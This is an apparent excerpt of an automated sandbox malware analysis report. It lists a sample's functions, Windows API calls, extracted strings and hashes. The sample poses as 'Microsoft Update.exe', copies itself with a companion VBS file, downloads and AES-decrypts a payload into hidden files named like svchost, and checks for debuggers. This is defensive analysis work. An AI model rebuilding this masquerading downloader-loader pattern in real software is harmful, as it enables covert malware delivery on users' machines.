Instruction Fuzzy Hash: AF71E03290A68286DB718F65D64037EBBA4FB14F88F548132EE4C87A8ACF3CE550C740

Function 00007FF6A72936D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A72931C4: SHGetFolderPathW.SHELL32 ref: 00007FF6A729320C

Part of subcall function 00007FF6A7293110: SHGetFolderPathW.SHELL32 ref: 00007FF6A7293158

CopyFileW.KERNEL32 ref: 00007FF6A729379F

Strings

\Microsoft Update.exe, xrefs: 00007FF6A729375C
\Microsoft Update.vbs, xrefs: 00007FF6A72937D7

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: FolderPath$CopyFile
String ID: \Microsoft Update.exe$\Microsoft Update.vbs
API String ID: 2870190512-4096706484
Opcode ID: ac055e9fd983beb003b76351e1149f98b5e83fad5c8b1257e09a340fecb092a4
Instruction ID: 8cab4c5f8915515832f400ec8363b458f826e50227a6b4e8f54e0957b36ce489
Opcode Fuzzy Hash: ac055e9fd983beb003b76351e1149f98b5e83fad5c8b1257e09a340fecb092a4
Instruction Fuzzy Hash: BE41D222B0AA0199FB10DFA1D5502ED2375FB58784F841536EE4D97B9EDF38D90AC340

Function 00007FF6A72A3960 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6A72A3A09
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF6A72A3A32

Strings

csm, xrefs: 00007FF6A72A3B3E

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 9d1541b0faf12f00b39d3506b314d95e22de9215aa343488bfd9d6aec3696d64
Instruction ID: c1f94c16adc1d942870d3d2b8d5333d7ef0cee517558a33627c7c8a7c54701d6
Opcode Fuzzy Hash: 9d1541b0faf12f00b39d3506b314d95e22de9215aa343488bfd9d6aec3696d64
Instruction Fuzzy Hash: 9B514F76A0AB4186E620EF15E14436E77B4FB84BA5F040535DB8D87B9ADF3CE454CB40

Function 00007FF6A72B0108 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6A72B0220
GetLastError.KERNEL32 ref: 00007FF6A72B0245

Strings

U, xrefs: 00007FF6A72B01CA

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 461bbaa5ee7b83cc383dd2fdbbf526e865cc42a27ef8e02635f2c4469f126a80
Instruction ID: 367d1830caf716fe5f78a53bba881734535749e5e9bf54c8e6ab727f1ae82c1a
Opcode Fuzzy Hash: 461bbaa5ee7b83cc383dd2fdbbf526e865cc42a27ef8e02635f2c4469f126a80
Instruction Fuzzy Hash: C541E332A2AA8186E7608F25E9047EAB7A4FB98784F448131EE4DC775DEF3CE405C740

Function 00007FF6A72A1034 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF6A729C696), ref: 00007FF6A72A1084
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF6A729C696), ref: 00007FF6A72A10C5

Strings

csm, xrefs: 00007FF6A72A10B2

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 52965642b9ceef0991b282cb33432c7eda3370873cd6f5fffa049cb076594986
Instruction ID: 23f67536346dbf6b04bb3f2ba66a3597a53edda10d99b6e4688848b25ccd9c1c
Opcode Fuzzy Hash: 52965642b9ceef0991b282cb33432c7eda3370873cd6f5fffa049cb076594986
Instruction Fuzzy Hash: 9B113D32619B8182EB218F25F54026AB7E5FB98B94F684230EF8C4776DDF3DD9518B00

Function 00007FF6A7291B74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A7291B8B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF6A7291BCA

Part of subcall function 00007FF6A729C9F0: _Yarn.LIBCPMT ref: 00007FF6A729CA1E

Strings

bad locale name, xrefs: 00007FF6A7291BE5

Memory Dump Source

Source File: 00000000.00000002.2936360466.00007FF6A7291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A7290000, based on PE: true

Associated: 00000000.00000002.2936333005.00007FF6A7290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936399179.00007FF6A72C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936430819.00007FF6A72D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936458297.00007FF6A72D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6a7290000_VRO.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_Yarn
String ID: bad locale name
API String ID: 1838369231-1405518554
Opcode ID: d4840bd4c1fa85e49c2d8e5bc998839ae0c91864cded86b17ae332834aff1db1
Instruction ID: d85c7dab14aed7f3e0fd45867fe9408029a2b0ee0c765b3a3c6c2ad8585c7786
Opcode Fuzzy Hash: d4840bd4c1fa85e49c2d8e5bc998839ae0c91864cded86b17ae332834aff1db1
Instruction Fuzzy Hash: 7801AD2750AB8089D358DFB5A98012877B5FB68B88B185539CB8CC774EEF38D990C381

Analysis Process: Microsoft Update.exePID: 2300, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	502
Total number of Limit Nodes:	33

Executed Functions

Function 00007FF7B6866414 Relevance: 119.3, APIs: 21, Strings: 47, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WinHttpCrackUrl.WINHTTP ref: 00007FF7B68664ED
WinHttpOpen.WINHTTP ref: 00007FF7B6866516
WinHttpConnect.WINHTTP ref: 00007FF7B6866540
WinHttpOpenRequest.WINHTTP ref: 00007FF7B6866588
WinHttpSendRequest.WINHTTP ref: 00007FF7B68665BB
WinHttpReceiveResponse.WINHTTP ref: 00007FF7B68665D5
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF7B68665F9
WinHttpReadData.WINHTTP ref: 00007FF7B6866641
WinHttpCloseHandle.WINHTTP ref: 00007FF7B68666EA
WinHttpCloseHandle.WINHTTP ref: 00007FF7B68666FA
WinHttpCloseHandle.WINHTTP ref: 00007FF7B686670A
WinHttpCloseHandle.WINHTTP ref: 00007FF7B68667B6
WinHttpCloseHandle.WINHTTP ref: 00007FF7B68667E7
WinHttpCloseHandle.WINHTTP ref: 00007FF7B68667F7
WinHttpCloseHandle.WINHTTP ref: 00007FF7B6866825
WinHttpCloseHandle.WINHTTP ref: 00007FF7B6866835
WinHttpCloseHandle.WINHTTP ref: 00007FF7B6866845
WinHttpCloseHandle.WINHTTP ref: 00007FF7B6866876
WinHttpCloseHandle.WINHTTP ref: 00007FF7B6866886
WinHttpCloseHandle.WINHTTP ref: 00007FF7B6866896
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B68668BA

Strings

[ERROR] GetLastError() returned: , xrefs: 00007FF7B6866DC5, 00007FF7B6866E40, 00007FF7B6866ECB
[ERROR] Failed to set attributes for file: , xrefs: 00007FF7B6866D9D
Tnh n, xrefs: 00007FF7B686821B
WinHttpCrackUrl() failed., xrefs: 00007FF7B6866767
Decryption and save completed successfully!, xrefs: 00007FF7B6867A10
[DEBUG] Successfully created and wrote to file: , xrefs: 00007FF7B6866D39
Failed to generate symmetric key., xrefs: 00007FF7B6867200
Failed to set file attributes., xrefs: 00007FF7B6866DEA
WinHttpOpen() failed., xrefs: 00007FF7B6866788
CustomDownloader/1.0, xrefs: 00007FF7B6866505
[ERROR] Error message: , xrefs: 00007FF7B6866F25
svchost.hko, xrefs: 00007FF7B68679CC
Failed to load DLL., xrefs: 00007FF7B68689FD
MyApp, xrefs: 00007FF7B6867EB0
WinHttpSendRequest() failed., xrefs: 00007FF7B6866848
AddNumbers function executed successfully!, xrefs: 00007FF7B6867AD2
AddNumbers, xrefs: 00007FF7B6867AA9
0Xs, xrefs: 00007FF7B68675CD
Failed to set AES chaining mode to CBC., xrefs: 00007FF7B68671CC
\MyApp\, xrefs: 00007FF7B6867329
ObjectLength, xrefs: 00007FF7B686696B
Failed to determine plaintext size., xrefs: 00007FF7B6866BBF
WinHttpConnect() failed., xrefs: 00007FF7B68667B9
Failed to write to hidden file., xrefs: 00007FF7B6866E75
WinHttpOpenRequest() failed., xrefs: 00007FF7B68667FA
[ERROR] Failed to write to file: , xrefs: 00007FF7B6866E18
ChainingMode, xrefs: 00007FF7B6867016
Failed to create hidden file., xrefs: 00007FF7B6866F5D
Failed to create directory on Desktop., xrefs: 00007FF7B6867446
Failed to generate AES key., xrefs: 00007FF7B6866B7A
ChainingModeCBC, xrefs: 00007FF7B686700F
Failed to get Desktop directory., xrefs: 00007FF7B6867423
WinHttpReceiveResponse() failed., xrefs: 00007FF7B6866899
Downloaded file is empty!, xrefs: 00007FF7B6866746
svchost.dll, xrefs: 00007FF7B686795D
Failed to set normal attributes for directory., xrefs: 00007FF7B6867400
Tnh n, xrefs: 00007FF7B6867F34
Failed to open AES algorithm provider., xrefs: 00007FF7B6866B12, 00007FF7B6867198
[ERROR] Failed to create file: , xrefs: 00007FF7B6866EA3
Failed to decrypt data., xrefs: 00007FF7B6866C00, 00007FF7B6867245
No debugger detected. Application running normally., xrefs: 00007FF7B6867855
Failed to get AES key object size., xrefs: 00007FF7B6866B46
I,z1, xrefs: 00007FF7B6867663
[DEBUG] Desktop Directory: , xrefs: 00007FF7B68672CA
Tnh n, xrefs: 00007FF7B6867C04
Failed to find AddNumbers function., xrefs: 00007FF7B6867AEF
GET, xrefs: 00007FF7B6866574

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Http$CloseHandle$DataOpenRequest$AvailableConnectCrackQueryReadReceiveResponseSend_invalid_parameter_noinfo_noreturn
String ID: AddNumbers$AddNumbers function executed successfully!$ChainingMode$ChainingModeCBC$CustomDownloader/1.0$Decryption and save completed successfully!$Downloaded file is empty!$Failed to create directory on Desktop.$Failed to create hidden file.$Failed to decrypt data.$Failed to determine plaintext size.$Failed to find AddNumbers function.$Failed to generate AES key.$Failed to generate symmetric key.$Failed to get AES key object size.$Failed to get Desktop directory.$Failed to load DLL.$Failed to open AES algorithm provider.$Failed to set AES chaining mode to CBC.$Failed to set file attributes.$Failed to set normal attributes for directory.$Failed to write to hidden file.$GET$I,z1$MyApp$No debugger detected. Application running normally.$ObjectLength$Tnh n$Tnh n$Tnh n$WinHttpConnect() failed.$WinHttpCrackUrl() failed.$WinHttpOpen() failed.$WinHttpOpenRequest() failed.$WinHttpReceiveResponse() failed.$WinHttpSendRequest() failed.$[DEBUG] Desktop Directory: $[DEBUG] Successfully created and wrote to file: $[ERROR] Error message: $[ERROR] Failed to create file: $[ERROR] Failed to set attributes for file: $[ERROR] Failed to write to file: $[ERROR] GetLastError() returned: $\MyApp\$svchost.dll$svchost.hko$0Xs
API String ID: 3910513139-2077747964
Opcode ID: 58d10366e96b0885634db692fcfca46632355ec008f76bdab40138a88bddbb6f
Instruction ID: aee6955476a3c08f55bea355539acbb9ed2b63fc5d21332c2aed3d72449ea8ca
Opcode Fuzzy Hash: 58d10366e96b0885634db692fcfca46632355ec008f76bdab40138a88bddbb6f
Instruction Fuzzy Hash: F7C19461B0465385EB00EB79EC401BA6760FF96788F801571EF1D87AACDE3CE9A5C320

Function 00007FF7B6866F80 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF7B6866FFB
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF7B68671C9
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF7B68671FD
BCryptDestroyKey.BCRYPT ref: 00007FF7B686722F
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF7B6867242

Strings

Failed to set AES chaining mode to CBC., xrefs: 00007FF7B68671CC
Failed to open AES algorithm provider., xrefs: 00007FF7B6867198
Failed to decrypt data., xrefs: 00007FF7B6867245
Failed to generate symmetric key., xrefs: 00007FF7B6867200
AES, xrefs: 00007FF7B6866FE6

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Crypt$AlgorithmProvider$Close$DestroyOpen
String ID: AES$Failed to decrypt data.$Failed to generate symmetric key.$Failed to open AES algorithm provider.$Failed to set AES chaining mode to CBC.
API String ID: 3555693613-3889393278
Opcode ID: b09d060d57c63fbeccef078fc0ded11bd3595961dfd68bc76aa2f7dbdfe73ee3
Instruction ID: 1575a0c5466205336906d08650be8f184823b034cc6971318e75f36062a31134
Opcode Fuzzy Hash: b09d060d57c63fbeccef078fc0ded11bd3595961dfd68bc76aa2f7dbdfe73ee3
Instruction Fuzzy Hash: 8A316162B0494799EB10EB79EC501FE6331EFA5388B805872DF1D9795CEE38E925C360

Function 00007FF7B6866C24 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[ERROR] GetLastError() returned: , xrefs: 00007FF7B6866ECB
[ERROR] Failed to create file: , xrefs: 00007FF7B6866EA3
[DEBUG] Attempting to create file: , xrefs: 00007FF7B6866C47
Failed to create hidden file., xrefs: 00007FF7B6866F5D

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID:
String ID: Failed to create hidden file.$[DEBUG] Attempting to create file: $[ERROR] Failed to create file: $[ERROR] GetLastError() returned:
API String ID: 0-3721456611
Opcode ID: 3ac9992f2f33ba911e372b58a8337c3edaf37ccbac7a7498e6d3aa453241cdb0
Instruction ID: e5a82325b674105a8c8863b9711a3950ac92585417aef8f7ae51285e97533220
Opcode Fuzzy Hash: 3ac9992f2f33ba911e372b58a8337c3edaf37ccbac7a7498e6d3aa453241cdb0
Instruction Fuzzy Hash: F131B361A1460351EB10F759EC443BBA7A0EF667C8F801275DB1D8BA9DEE3CE5258360

Function 00007FF7B686F128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B686F158

Part of subcall function 00007FF7B686C654: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7B686C65D

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B686F15E

Strings

ios_base::failbit set, xrefs: 00007FF7B686F128

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID: ios_base::failbit set
API String ID: 1173176844-3924258884
Opcode ID: 70dcc2d12194a1b665650fe2031d843ee878dec5603dd6e56a2f94449fbdc1ae
Instruction ID: 11f99fbc64ca790474161ac05034aee2c8b306ede7201eeb2e32d7ec29158a0c
Opcode Fuzzy Hash: 70dcc2d12194a1b665650fe2031d843ee878dec5603dd6e56a2f94449fbdc1ae
Instruction Fuzzy Hash: 99F03A91E0920741FE1A376DAC561B681424F6A3A0E9816B0DF7D893DAAD1CE5F68270

Function 00007FF7B6861B74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7B6861B8B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7B6861BCA

Part of subcall function 00007FF7B686C9F0: _Yarn.LIBCPMT ref: 00007FF7B686CA1E

Strings

bad locale name, xrefs: 00007FF7B6861BE5

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_Yarn
String ID: bad locale name
API String ID: 1838369231-1405518554
Opcode ID: d4840bd4c1fa85e49c2d8e5bc998839ae0c91864cded86b17ae332834aff1db1
Instruction ID: e2e4853533f6cf6aa39a9ed3a1a589b8345b855c96262afbe5ae5c12e1409421
Opcode Fuzzy Hash: d4840bd4c1fa85e49c2d8e5bc998839ae0c91864cded86b17ae332834aff1db1
Instruction Fuzzy Hash: 0901A226109B80C9C355EF78AC80119BBB5FB29B88B545579CB8CC774EEF38D5A0C355

Function 00007FF7B686F28C Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7B686F450: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7B686F464

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7B686F2B0
__scrt_release_startup_lock.LIBCMT ref: 00007FF7B686F31E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7B686F371

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 39b793914c56a01c0d8cffe1dfdc88b4effed6a42e7826d470b252d6d25abb81
Instruction ID: 195a96d2dba5c9bc7d2e9796ca0c4e1a75f235e7350634769a30a44128b0b2f5
Opcode Fuzzy Hash: 39b793914c56a01c0d8cffe1dfdc88b4effed6a42e7826d470b252d6d25abb81
Instruction Fuzzy Hash: 5F315111A0C24341FA14BB6D9D553BB92926F63744FC450B5EB0D872DFDE5CF8648631

Function 00007FF7B6862214 Relevance: 4.6, APIs: 3, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7B686223F

Part of subcall function 00007FF7B6861C84: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7B6861CA9
Part of subcall function 00007FF7B6861C84: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7B6861CCD

std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7B68622F3
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B6862322

Part of subcall function 00007FF7B6861D7C: _Getctype.LIBCPMT ref: 00007FF7B6861DF0
Part of subcall function 00007FF7B6861D7C: std::_Locinfo::~_Locinfo.LIBCPMT ref: 00007FF7B6861E0C

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskGetctypeLocinfoLocinfo::~_
String ID:
API String ID: 127711394-0
Opcode ID: 288f0db25c0ac5f8fa89f0fa8fbb175d8c9227f5f881d169a8128fc64691cd43
Instruction ID: 1d3cd10785eda017b024d72ac3eb155871022b36fd908ce4c9d0ed4e13f1096b
Opcode Fuzzy Hash: 288f0db25c0ac5f8fa89f0fa8fbb175d8c9227f5f881d169a8128fc64691cd43
Instruction Fuzzy Hash: DF317861A18A4280EA11EB19EC5017AF360FB69B94F8802B1DF5D877ADDE3CD461C310

Function 00007FF7B6880FF8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF7B6881115

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00007FF7B68811C7, 00007FF7B68811D5

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ProtectVirtual
String ID: AppPolicyGetProcessTerminationMethod
API String ID: 544645111-2031265017
Opcode ID: cf06f54f65223b30d1ed38a6448db2896151323244bc339d851ac3423a39440e
Instruction ID: 121cbe70a26515d8fd374f82c5ad5ede8dec65b47c0ec33b7e26115fb58d83fd
Opcode Fuzzy Hash: cf06f54f65223b30d1ed38a6448db2896151323244bc339d851ac3423a39440e
Instruction Fuzzy Hash: 5C110660A0824A51EA14AB9AAC005B6A250AB76BB4FD45770EF7C037D8DF3CE566C320

Function 00007FF7B6861D7C Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Getctype.LIBCPMT ref: 00007FF7B6861DF0
std::_Locinfo::~_Locinfo.LIBCPMT ref: 00007FF7B6861E0C

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
